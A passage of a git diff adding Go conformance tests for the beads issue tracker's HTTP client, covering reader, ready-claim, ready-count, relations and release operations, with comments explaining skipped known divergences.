TestServedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded, "+ + "whose `family` row carries a parent-child and a relates-to edge and still reports zero dependencies") + conformance.RunReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter — its shadow rows share every timestamp with the scoped ones "+ + "and are excluded by the id set ALONE, which is the whole mechanism by which a widened position "+ + "is caught, so a label scope would not stand in for it") + conformance.RunReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the keyset walk it pins is exercised over this wire by "+ + "TestServedReaderListKeysetPositionSkipsForward and by TestServedReaderListWalksMultiplePages, "+ + "both under a label scope") + conformance.RunReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The priority-order walk parks on the same row as the created-order one +// above, with a narrower stand-in beside it: the sort=priority pushdown is +// pinned under a label scope by TestServedReaderListFallsBackToTheWalkWithoutTheCapability, +// and resuming a priority keyset position — the pager's keysetFilter +// (list_walk.go) deciding priority first and the (created_at, id) pair only at +// the position's own priority — by TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder. +// What neither covers is the WALK this case drives page after page over an +// oversized equal-key run, which stays unexercised over this wire until +// IDFilter (or a label-scoped rewrite) lets it run. +func TestServedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter, which listIssues publishes no parameter for, so its one-shot "+ + "read is refused before the walk begins; the sort=priority pushdown is pinned under a label scope by "+ + "TestServedReaderListFallsBackToTheWalkWithoutTheCapability, and one resumed priority keyset position by "+ + "TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder") + conformance.RunReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListMaxRowsBoundaryIsLimitPlusOffset names OFFSET rather than +// the id scope it also carries, because Offset is the one this case could not +// be rewritten around: the whole point is to drive the cap along the OFFSET +// axis with the limit held still, and listIssues publishes no offset parameter. +// The LIMIT axis of the same boundary runs over this wire in +// TestServedReaderListMaxRowsBoundsWireRowsFetched. +func TestServedReaderListMaxRowsBoundaryIsLimitPlusOffset(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.Offset", readParkBead, + "the case moves the cap along the Offset axis, and listIssues publishes no offset parameter (it "+ + "scopes itself with IDFilter besides); the cap's Limit axis is driven over this wire by "+ + "TestServedReaderListMaxRowsBoundsWireRowsFetched") + conformance.RunReaderListMaxRowsBoundaryIsLimitPlusOffset(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt +// names WISPTYPE for the same reason: the classification predicate IS the +// subject, and listIssues publishes no parameter for it, so no rescoping saves +// the case. The plane knob it composes against — IncludeEphemeral — is served, +// and its own half is asserted by +// TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope. +func TestServedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.WispType", readParkBead, + "the wisp classification predicate is the case's subject and listIssues publishes no parameter for "+ + "it; the client refuses it rather than answering the whole admitted plane, which is the reading "+ + "the case exists to rule out") + conformance.RunReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListStatusAcceptsACommaSeparatedORSet(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the OR set it pins is exercised over this wire by "+ + "TestServedReaderListStatusORSetUnderALabelScope, which drives the same three status shapes") + conformance.RunReaderListStatusAcceptsACommaSeparatedORSet(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The THREE BRIEF CONTRACTS, adopted by client wave ga-f352s. +// +// They were reachable before they were wired, and the gap was one thing rather +// than three: `brief` is a published parameter on both pages (#5586) and +// `brief_deps` on getIssue (#5546), and this client's encoder sends all three — +// so the server has been leaving the text columns unselected for a wave already. +// What was missing is the MARKER. types.Issue.IsLitePartial is `json:"-"`, so a +// projected row arrives byte-identical to a genuinely textless one, and +// assertReaderBriefRow hard-fails any leg that answers one with the flag unset. +// +// THE CONTRACT IS WHAT FORCED THE STAMP, which is why deferring these to this +// wave was safe rather than lucky: there is no way to adopt them and not stamp, +// and no way to stamp and leave a door out — the client sends the parameter from +// three places (listTable, readyTable and the ready bridge) and all three lift +// their rows through one function. TestBriefListingsStampTheProjectionMarker +// asserts that door-by-door; these assert what a projected row must contain. + +// TestServedReaderListBriefDropsTheFreeFormTextAndNothingElse parks for the +// reason every List case here parks — it scopes itself with IDFilter, and +// listIssues publishes no id parameter — NOT for anything about the projection. +// +// The projection half is asserted over this wire by the ready sibling below, +// which drives the identical assertReaderBriefRow through the same encoder and +// the same row lift, under a label scope instead of an id one. +func TestServedReaderListBriefDropsTheFreeFormTextAndNothingElse(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the projection it pins — the six heavy columns empty, the "+ + "identity fields and the three cardinalities intact, and IsLitePartial set — is asserted over this "+ + "wire by TestServedReaderReadyBriefDropsTheFreeFormTextAndNothingElse under a label scope") + conformance.RunReaderListBriefDropsTheFreeFormTextAndNothingElse(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyBriefDropsTheFreeFormTextAndNothingElse(t *testing.T) { + conformance.RunReaderReadyBriefDropsTheFreeFormTextAndNothingElse(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderGetBriefDepsProjectsTheDependencyRows is the third, and the +// one that needs no marker at all: `brief_deps` projects the rows of the +// DEPENDENCIES member, and the contract asserts the identity fields survive and +// the free-form text is gone. The detail view's own row is untouched by it. +func TestServedReaderGetBriefDepsProjectsTheDependencyRows(t *testing.T) { + conformance.RunReaderGetBriefDepsProjectsTheDependencyRows(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderGetResolvesTheExactIDAcrossBothPlanes(t *testing.T) { + conformance.RunReaderGetResolvesTheExactIDAcrossBothPlanes(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay(t *testing.T) { + conformance.RunReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderGetOptionalRowListsAreOffByDefault is the shared proof of the +// L4 retirement: the `include_dependents` and `include_comments` parameters this +// client sends are what put the two row lists on `bd show`'s detail view. +func TestServedReaderGetOptionalRowListsAreOffByDefault(t *testing.T) { + conformance.RunReaderGetOptionalRowListsAreOffByDefault(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderGetDetailShapeMatchesTheSeededIssue(t *testing.T) { + conformance.RunReaderGetDetailShapeMatchesTheSeededIssue(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderGetPopulatesRowVersionForAGuardedWrite is HIGH 5's pin. +// +// types.Issue.RowVersion is json:"-" (internal/types/types.go), so a bare +// decode of getIssue's response body leaves it at zero; the wire's only +// spelling of the token is the detail view's sibling `revision` string, which +// Reader.Get must stitch back on. A read alone cannot tell a stitched zero +// from a real one that happens to equal it on a fresh table, so this proves it +// the way a caller actually consumes RowVersion: by GUARDING A WRITE with +// whatever Get just answered, over the same wire, and requiring the guard to +// be real rather than decorative. +// +// The second Update reuses the SAME (now-stale) token. If Get had answered 0 +// — the bug this pins against — the first Update's own post-write token would +// also have nothing to do with it, and there would be no way for this case to +// tell "the guard matched" from "the guard was never checked". Requiring the +// REUSE to refuse is what rules that out: it only refuses if the first write +// really did move the row past the exact version Get reported. +func TestServedReaderGetPopulatesRowVersionForAGuardedWrite(t *testing.T) { + env := newServedEnv(t, "rdrv") + reader, err := env.subject.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + issue := &types.Issue{Title: "row version round trip", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(t.Context(), issue, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + details, err := reader.Get(t.Context(), issueops.GetRequest{ID: issue.ID}) + if err != nil { + t.Fatalf("Get: %v", err) + } + if details.RowVersion == 0 { + t.Fatalf("Get answered RowVersion 0 (Revision %q); want the row's real token", details.Revision) + } + staleVersion := details.RowVersion + + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("first guarded write")}, + }); err != nil { + t.Fatalf("Update guarded by the token Get answered: %v", err) + } + + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("second guarded write, same stale token")}, + }) + if err == nil { + t.Fatal("Update reused Get's token after a write moved the row past it; want a version-guard refusal") + } +} + +func TestServedReaderDoesNotMutateTheCallerRequest(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the List leg of the tripwire scopes itself with IDFilter; the promise is exercised over this wire "+ + "by TestServedReaderDoesNotMutateTheCallerRequestOverTheWire") + conformance.RunReaderDoesNotMutateTheCallerRequest(t, t.Context(), servedReaderFixture(t, "rdr")) +} diff --git a/internal/httpclient/served_ready_claimer_test.go b/internal/httpclient/served_ready_claimer_test.go new file mode 100644 index 000000000..4552b1568 --- /dev/null +++ b/internal/httpclient/served_ready_claimer_test.go @@ -0,0 +1,155 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_ready_claimer_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The ReadyClaimer contract against the served surface, and the tier is WHOLE: +// eleven entrypoints, nothing parked. +// +// THIS FILE USED TO OPEN BY CALLING THE ROLE COMPOSED, and the sentence is worth +// keeping as a record rather than deleting: "the wire publishes no claimNext, so +// a claim of the next ready row is a listing followed by claims down it". That +// stopped being true when upstream published POST /v0/beads/issues:claimNext +// (#5510), and client wave ga-jpywb dials it — so what the contract runs against +// here is ONE atomic operation, and the two parks the composition owed are gone +// with it. +// +// The composition SURVIVES as the down-level leg, capability-gated exactly as +// BatchCloser's does, so `bd ready --claim` keeps working against a server older +// than the operation. That leg is not what this file measures — a server that +// advertises the token never reaches it — and its own coverage is the stub-driven +// unit case beside L14. +// +// THREE OF THESE CASES USED TO PARK on the reader accessor: each establishes +// its control by asking this backend's OWN Reader.Ready what the front holds, +// and the reader was another bead's flip. That bead has landed, so the reader +// is bound below and the three run for real — which is what the park said would +// happen, and is why a park's retirement condition is worth writing down. +// +// THE OTHER TWO PARKS WERE THE COMPOSITION'S, and both retire here for the same +// reason rather than for two: a wisp id was not claimable through `claimIssue`, +// and a lease was written by a transaction the client never entered. The claim is +// now the SERVER's role in one transaction, so an ephemeral row the filter admits +// is claimed and a durable win writes its lease — neither of which was ever a +// fact about the wire's vocabulary, only about what a two-call composition could +// reach. + +func newServedReadyClaimerFixture(t *testing.T, prefix string) conformance.ReadyClaimerFixture { + t.Helper() + env := newServedEnv(t, prefix) + claimer, err := env.subject.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + reader, err := env.subject.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + return conformance.ReadyClaimerFixture{ + IssuePrefix: env.prefix, + Claimer: claimer, + // The SUBJECT's reader, deliberately, not the reference store's: the + // cases that use it compare two of this backend's surfaces against each + // other, and binding the server's reader would compare the server to + // itself and prove nothing about the client. + Reader: reader, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +func TestServedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor(t *testing.T) { + conformance.RunReadyClaimerRejectsLimitOffsetBriefAndEmptyActor(t, t.Context(), newServedReadyClaimerFixture(t, "hrc1")) +} + +func TestServedReadyClaimerEmptyFrontIsNormal(t *testing.T) { + conformance.RunReadyClaimerEmptyFrontIsNormal(t, t.Context(), newServedReadyClaimerFixture(t, "hrc2")) +} + +func TestServedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState(t *testing.T) { + conformance.RunReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState(t, t.Context(), newServedReadyClaimerFixture(t, "hrc3")) +} + +// TestServedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits was PARKED for as +// long as the role was composed, and the park named its own retirement: "the +// composition cannot bridge that; a claimNext operation would." It did. +func TestServedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits(t *testing.T) { + conformance.RunReadyClaimerClaimsAnEphemeralRowTheFilterAdmits(t, t.Context(), newServedReadyClaimerFixture(t, "hrc4")) +} + +func TestServedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet(t *testing.T) { + conformance.RunReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet(t, t.Context(), newServedReadyClaimerFixture(t, "hrc5")) +} + +// TestServedReadyClaimerLeasesADurableWinButNotAnEphemeralOne runs now, and the +// park it replaces was half right about why it could not. +// +// "The wire has no lease vocabulary" is still true and was never the obstacle: +// the case reads the lease table OUT OF BAND, through the reference store, so +// what it needs is a claim that WRITES one — which the server's own role does +// inside the claiming transaction. What actually blocked it was the ephemeral +// half, and that was the composition's limit rather than the wire's. +func TestServedReadyClaimerLeasesADurableWinButNotAnEphemeralOne(t *testing.T) { + conformance.RunReadyClaimerLeasesADurableWinButNotAnEphemeralOne(t, t.Context(), newServedReadyClaimerFixture(t, "hrc6")) +} + +// TestServedReadyClaimerAnswersTheQuestionReaderReadyLists asks BOTH of this +// backend's surfaces one question and compares them. It is the strongest case +// in the file now that both are wired: the listing and the claim reach the +// server through two different operations and two different encodings, so an +// agreement here is an agreement about the CLIENT rather than about the server. +func TestServedReadyClaimerAnswersTheQuestionReaderReadyLists(t *testing.T) { + conformance.RunReadyClaimerAnswersTheQuestionReaderReadyLists(t, t.Context(), newServedReadyClaimerFixture(t, "hrc7")) +} + +// TestServedReadyClaimerSkipsIneligibleFrontRows is the case with the most to +// say about the composition: the loop must walk past rows a racing agent +// already took instead of reporting an empty front. It establishes its control +// by asking Reader.Ready that the taken rows are on the front at all, which is +// what it needed the reader for. +// TestReadyClaimWalksPastLostRacesAndHydratesFromThePage drives the same loop +// against a stub transport; this one drives it against a server. +func TestServedReadyClaimerSkipsIneligibleFrontRows(t *testing.T) { + conformance.RunReadyClaimerSkipsIneligibleFrontRows(t, t.Context(), newServedReadyClaimerFixture(t, "hrc8")) +} + +func TestServedReadyClaimerRecordsOneHistoryEntryForAWin(t *testing.T) { + conformance.RunReadyClaimerRecordsOneHistoryEntryForAWin(t, t.Context(), newServedReadyClaimerFixture(t, "hrc9")) +} + +func TestServedReadyClaimerDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunReadyClaimerDoesNotMutateTheCallerRequest(t, t.Context(), newServedReadyClaimerFixture(t, "hrca")) +} + +// TestServedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven is +// the dropped-filter case, and it is the one that says most about the port: the +// filter no longer travels as a page this client walks, it travels as the query +// string the server's own ready decode reads — the SAME function GET +// /v0/beads/ready goes through. A member this client failed to encode would take +// the top-priority decoy every arm is built around. +func TestServedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven(t *testing.T) { + conformance.RunReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven(t, t.Context(), newServedReadyClaimerFixture(t, "hrcb")) +} + +// TestServedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities is the +// case the composition could never have passed honestly. +// +// The composed claim took its cardinalities from the READY PAGE and its row from +// the claim response, which L14's third residue recorded as staleness bounded by +// the fetch-to-dial window. The operation hydrates the winner INSIDE the +// committing transaction, so the counts describe the state the claim produced — +// and the client's only job is not to recompute them. +func TestServedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities(t *testing.T) { + conformance.RunReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities(t, t.Context(), newServedReadyClaimerFixture(t, "hrcc")) +} diff --git a/internal/httpclient/served_readycounter_test.go b/internal/httpclient/served_readycounter_test.go new file mode 100644 index 000000000..2c57f5b3c --- /dev/null +++ b/internal/httpclient/served_readycounter_test.go @@ -0,0 +1,82 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_readycounter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/issueops" +) + +// The ReadyCounter contract, run through the composition (design D8 row 2). +// +// Its central promise is an IDENTITY with the listing — CountReady(r).Total == +// len(Reader.Ready(r with Limit=0).Items) — so the fixture binds BOTH roles off +// the http client and the identity is proved end to end over two separate +// operations, countReadyWork and listReadyWork. On this backend that is a +// stronger statement than it is locally: the two answers are assembled by two +// different handlers on the server AND by two different encodings on the way +// there, and the encoder's shared filter list is what keeps them one question. + +func servedReadyCounterFixture(t *testing.T, name string) conformance.ReadyCounterFixture { + t.Helper() + c := composition(t) + f := c.fixture(t) + counter := bindRole(t, f, func(s *Store) (issueops.ReadyCounter, error) { return s.ReadyCounter() }) + reader := bindRole(t, f, func(s *Store) (issueops.Reader, error) { return s.IssueReader() }) + return conformance.ReadyCounterFixture{ + IssuePrefix: servedIssuePrefix + "-" + name, + ReadyCounter: counter, + Reader: reader, + CreateIssue: c.seedIssue, + CreateWisp: c.seedIssue, + AddDependency: c.seedDependency, + // The raw-row read the status case needs. Both surfaces it compares hide + // a row this role must not count, so neither can tell "excluded" from + // "never seeded" — and a nil hook here is a SKIP, which this tier treats + // as a failure. + QueryScalar: c.queryScalar, + CountHistory: c.countHistory, + } +} + +func TestServedReadyCounterEqualsTheUnboundedPage(t *testing.T) { + conformance.RunReadyCounterEqualsTheUnboundedPage(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterRejectsLimitAndOffset(t *testing.T) { + conformance.RunReadyCounterRejectsLimitAndOffset(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterCountsTheBlockerAwareSet(t *testing.T) { + conformance.RunReadyCounterCountsTheBlockerAwareSet(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterEphemeralGateMatchesTheListing(t *testing.T) { + conformance.RunReadyCounterEphemeralGateMatchesTheListing(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +// TestServedReadyCounterCountsOnlyTheOpenRowsItsListingLists is the status half +// of the identity: an in-progress row and a closed one are outside the ready +// front, and the count has to exclude them for the same reason the listing does. +// It reads both seeds back through QueryScalar first, because a count that +// excluded them and a seed that never landed are the same number. +func TestServedReadyCounterCountsOnlyTheOpenRowsItsListingLists(t *testing.T) { + conformance.RunReadyCounterCountsOnlyTheOpenRowsItsListingLists(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterEmptyFrontIsZeroAndNil(t *testing.T) { + conformance.RunReadyCounterEmptyFrontIsZeroAndNil(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterWritesNothing(t *testing.T) { + conformance.RunReadyCounterWritesNothing(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunReadyCounterDoesNotMutateTheCallerRequest(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} diff --git a/internal/httpclient/served_relations_test.go b/internal/httpclient/served_relations_test.go new file mode 100644 index 000000000..90982e5df --- /dev/null +++ b/internal/httpclient/served_relations_test.go @@ -0,0 +1,101 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_relations_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The Relations contract, run through the http client against a real bd serve. +// +// NOTHING IS PARKED HERE. The request has three members — the anchor in the +// path, a required direction and a repeatable type filter — and every one is a +// published parameter, so there is no shape for a divergence to live in and no +// W- row. The refusal vocabulary crosses too: the role's three ErrValidation +// refusals are raised client-side in the shared validator's own order, and the +// anchor's miss is a 404 the problem mapper has already turned into +// issueops.ErrNotFound. +// +// WHAT THIS TIER PROVES that no unit test can, and it is the whole reason the +// role's answer is worth checking end to end: +// +// - THE MISS IS SEPARATED FROM THE EMPTY ANSWER by the SERVER, and both +// answers travel. `SeparatesNoNeighborsFromNoSuchIssue` asks for the +// neighbors of a real issue that has none and gets an empty list, then asks +// about an id that names nothing and gets ErrNotFound. This is a single-anchor +// operation, so there is no per-anchor Missing sentinel to fall back on — +// which is exactly why the 404 has to arrive as a refusal rather than as an +// empty page. +// - BOTH HALVES ARE TWO-PLANE. `OrdersNeighborsFromBothPlanesTogether` seeds a +// graph that straddles `dependencies` and `wisp_dependencies` and asserts the +// merged order; `ResolvesAWispAnchor` uses a wisp id AS the anchor, and +// `AnswersAWispTargetInTheOutDirection` puts one on the far end. Every one of +// those is decided inside the server's transaction, and no member of the +// answer says which plane a row came from. +// - THE ORDER IS THE SERVER'S. `AnswersInThePinnedOrder` seeds its edges in +// DESCENDING id order, so a client that re-sorted — or that trusted the +// transport's arrival order — is told apart from one that receives the pinned +// order and leaves it alone. This client re-sorts nothing on purpose: the +// ordering is FinishRelatedPage's, and a second copy of it here is precisely +// the drift that shared body exists to prevent. +// - THE FILTER NARROWS EDGES, NEVER THE ANCHOR. `FiltersByAnOpenTypeVocabulary` +// drives a workspace's own type through the repeatable parameter, which is +// what says the vocabulary really is open on this path: a client that +// validated against a known-types list would refuse a filter the server +// accepts, and one that comma-joined would send a type name that matches +// nothing. +// +// THE ANCHOR-ID EXACTNESS CASE is worth naming separately because its refusal +// changes shape on this leg without changing meaning: `ResolvesTheAnchorIDExactly` +// drives case variants, padding, prefixes and suffixes, and over http several of +// them are turned into the 404 by the SERVER's path bound before the role is +// reached. The answer a caller sees is the same ErrNotFound either way, which is +// what the case asserts. + +func newServedRelationsFixture(t *testing.T, prefix string) conformance.RelationsFixture { + t.Helper() + env := newServedEnv(t, prefix) + relations, err := env.subject.IssueRelations() + if err != nil { + t.Fatalf("IssueRelations(): %v", err) + } + return conformance.RelationsFixture{ + IssuePrefix: env.prefix, + Relations: relations, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + } +} + +func TestServedRelationsContract(t *testing.T) { + fixture := newServedRelationsFixture(t, "hrel") + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.RelationsFixture) + }{ + {"AnswersInThePinnedOrder", conformance.RunRelationsAnswersInThePinnedOrder}, + {"OrdersNeighborsFromBothPlanesTogether", conformance.RunRelationsOrdersNeighborsFromBothPlanesTogether}, + {"AnswersAWispTargetInTheOutDirection", conformance.RunRelationsAnswersAWispTargetInTheOutDirection}, + {"RefusesTheZeroDirection", conformance.RunRelationsRefusesTheZeroDirection}, + {"SeparatesNoNeighborsFromNoSuchIssue", conformance.RunRelationsSeparatesNoNeighborsFromNoSuchIssue}, + {"ResolvesAWispAnchor", conformance.RunRelationsResolvesAWispAnchor}, + {"FiltersByAnOpenTypeVocabulary", conformance.RunRelationsFiltersByAnOpenTypeVocabulary}, + {"RefusesAnUnusableTypeFilter", conformance.RunRelationsRefusesAnUnusableTypeFilter}, + {"RefusesATypeFilterOverTheColumnLength", conformance.RunRelationsRefusesATypeFilterOverTheColumnLength}, + {"DirectionSelectsTheInverseGraph", conformance.RunRelationsDirectionSelectsTheInverseGraph}, + {"LeavesTheCallersRequestAlone", conformance.RunRelationsLeavesTheCallersRequestAlone}, + {"LeavesAnExternalTargetOutOfTheAnswer", conformance.RunRelationsLeavesAnExternalTargetOutOfTheAnswer}, + {"ResolvesTheAnchorIDExactly", conformance.RunRelationsResolvesTheAnchorIDExactly}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_releaser_test.go b/internal/httpclient/served_releaser_test.go new file mode 100644 index 000000000..889640502 --- /dev/null +++ b/internal/httpclient/served_releaser_test.go @@ -0,0 +1,319 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_releaser_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Releaser contract, run through the http client against a real bd serve. +// +// TWO OF THE ELEVEN ARE PARKED, and both parks are about the wire's refusal +// VOCABULARY rather than about a member it cannot carry — the same shape the two +// create parks have, and they retire the same way. The request itself maps +// member for member: actor, the compare-and-set on the holder, force and the +// path, with nothing left over and no W- row. +// +// - L-release-notclaimed. The role splits an unheld row (ErrNotClaimed) from a +// status the transition is not defined over (ErrNotReleasable); the wire +// spells both `not_releasable` under one code with no member telling them +// apart, so this client answers the wider of the two. +// - L-release-notowner. The role's ownership fence is ErrNotOwner; the wire +// answers `already_claimed`, which is what updateIssue already calls the same +// situation, so this client answers ErrAlreadyClaimed. +// +// BOTH PARKS HAVE A RUNNING PIN below asserting the degraded-but-real behavior — +// the refusal is typed, it is the right refusal for the situation, and NOTHING IS +// WRITTEN — so the ledger rows retire loudly rather than sitting behind a skip. +// The rest of the contract crosses whole, including the two halves that are +// easiest to get backwards: a matching expectation RELEASES a claim the caller +// does not hold (a match replaces the fence), and the comparison is +// separator-insensitive and nothing else. + +// releaseParkBead is the bead the release-side parks cite. It is separate from +// the create and write parks because it retires on a different event: a problem +// code, or a member, that separates two refusals the server currently merges. +const releaseParkBead = "ga-f352s" + +func newServedReleaserFixture(t *testing.T, prefix string) conformance.ReleaserFixture { + t.Helper() + env := newServedEnv(t, prefix) + releaser, err := env.subject.Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + return conformance.ReleaserFixture{ + IssuePrefix: env.prefix, + Releaser: releaser, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + } +} + +func TestServedReleaserReleasesItsOwnClaim(t *testing.T) { + conformance.RunReleaserReleasesItsOwnClaim(t, t.Context(), newServedReleaserFixture(t, "hrl1")) +} + +// TestServedReleaserRefusesAForeignClaimUntilForced is PARKED on +// L-release-notowner: the case binds issueops.ErrNotOwner, and the wire answers +// the ownership fence with `already_claimed` — the code updateIssue gives the +// same situation — which this client maps to ErrAlreadyClaimed. +// +// BOTH HALVES of what the case proves are asserted by +// TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed below, which RUNS: the +// stranger is refused with the row untouched, and the forced release then lands. +func TestServedReleaserRefusesAForeignClaimUntilForced(t *testing.T) { + skipKnownDivergence(t, "L-release-notowner", releaseParkBead, + "the case binds issueops.ErrNotOwner; the wire answers the release's ownership fence with `already_claimed`, "+ + "which every other operation on this surface means by ErrAlreadyClaimed (asserted, force half included, by "+ + "TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed)") + conformance.RunReleaserRefusesAForeignClaimUntilForced(t, t.Context(), newServedReleaserFixture(t, "hrl2")) +} + +func TestServedReleaserReleasesOnlyTheExpectedHolder(t *testing.T) { + conformance.RunReleaserReleasesOnlyTheExpectedHolder(t, t.Context(), newServedReleaserFixture(t, "hrl3")) +} + +// TestServedReleaserRefusesAnUnheldIssue is PARKED on L-release-notclaimed: two +// of its three arms bind issueops.ErrNotClaimed, and the wire spells that and +// ErrNotReleasable with one code carrying nothing that tells them apart. +// +// The third arm — a conditional release of an unheld row answers +// ErrAssigneeMismatch — is NOT degraded and is asserted by +// TestServedReleaseAnswersTheUnheldRowAsNotReleasable below, which RUNS, beside +// the two degraded ones. +func TestServedReleaserRefusesAnUnheldIssue(t *testing.T) { + skipKnownDivergence(t, "L-release-notclaimed", releaseParkBead, + "the unconditional and forced arms bind issueops.ErrNotClaimed; the wire spells an unheld row and an "+ + "unreleasable status under one `not_releasable` code, so this client answers the wider ErrNotReleasable "+ + "(asserted, conditional arm included, by TestServedReleaseAnswersTheUnheldRowAsNotReleasable)") + conformance.RunReleaserRefusesAnUnheldIssue(t, t.Context(), newServedReleaserFixture(t, "hrl4")) +} + +func TestServedReleaserRefusesAStatusThatCannotBeReleased(t *testing.T) { + conformance.RunReleaserRefusesAStatusThatCannotBeReleased(t, t.Context(), newServedReleaserFixture(t, "hrl5")) +} + +func TestServedReleaserRefusesAMalformedRequest(t *testing.T) { + conformance.RunReleaserRefusesAMalformedRequest(t, t.Context(), 